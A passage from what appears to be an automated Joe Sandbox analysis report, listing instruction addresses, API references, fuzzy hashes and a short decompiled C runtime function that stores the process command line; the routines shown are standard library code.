          0x00401f83
          0x00401f89
          0x00401f8f
          0x00401f96
          0x00401f9d
          0x00401fa4
          0x00401fab
          0x00401fb2
          0x00401fb9
          0x00401fba
          0x00401fc3
          0x00401fcb
          0x00401fd3
          0x00401fde
          0x00401fe8
          0x00401fed
          0x00401ff2
          0x00401ffc
          0x00402006
          0x00402012
          0x00402016
          0x00402022
          0x00402026
          0x0040202c
          0x00402032
          0x00402036
          0x0040203c
          0x0040204b
          0x004018dc
          0x004018dc
          0x004018dc

          APIs
          • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00401F5D
          • ___raise_securityfailure.LIBCMT ref: 00402045
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: FeaturePresentProcessor___raise_securityfailure
          • String ID: HYA
          • API String ID: 3761405300-3949630065
          • Opcode ID: 2add615a2287014fb40954335aba8a78c14fe77b94684ac88e063d6ce4629430
          • Instruction ID: 6cb4d069ac1d3707beaa45bb2dd9a615a7934397750866ae2a5b0aac751b91a7
          • Opcode Fuzzy Hash: 2add615a2287014fb40954335aba8a78c14fe77b94684ac88e063d6ce4629430
          • Instruction Fuzzy Hash: 662103B56A1A01DBD310DF55F9D6AC43BA0BF88394F50D23AE5098ABB0D3B45880CF4E
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E004072F9() {
          
          				 *0x415f98 = GetCommandLineA();
          				 *0x415f9c = GetCommandLineW();
          				return 1;
          			}



          0x004072ff
          0x0040730a
          0x00407311

          APIs
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: CommandLine
          • String ID: X4z
          • API String ID: 3253501508-2517945807
          • Opcode ID: 1862c5febd86a67a8cc931a8f9cf79bc572b9c2a7d58cda9ff65f2b50cd382cf
          • Instruction ID: 1c3be78323f1457dba36cc2e926ef687e279e392227457d27b0df23f55036d34
          • Opcode Fuzzy Hash: 1862c5febd86a67a8cc931a8f9cf79bc572b9c2a7d58cda9ff65f2b50cd382cf
          • Instruction Fuzzy Hash: 92B09278800A20CFC7008F32FA4E2C87BA0B28820A780C876E919D2B20E7740022DF1C
          Uniqueness

          Uniqueness Score: -1.00%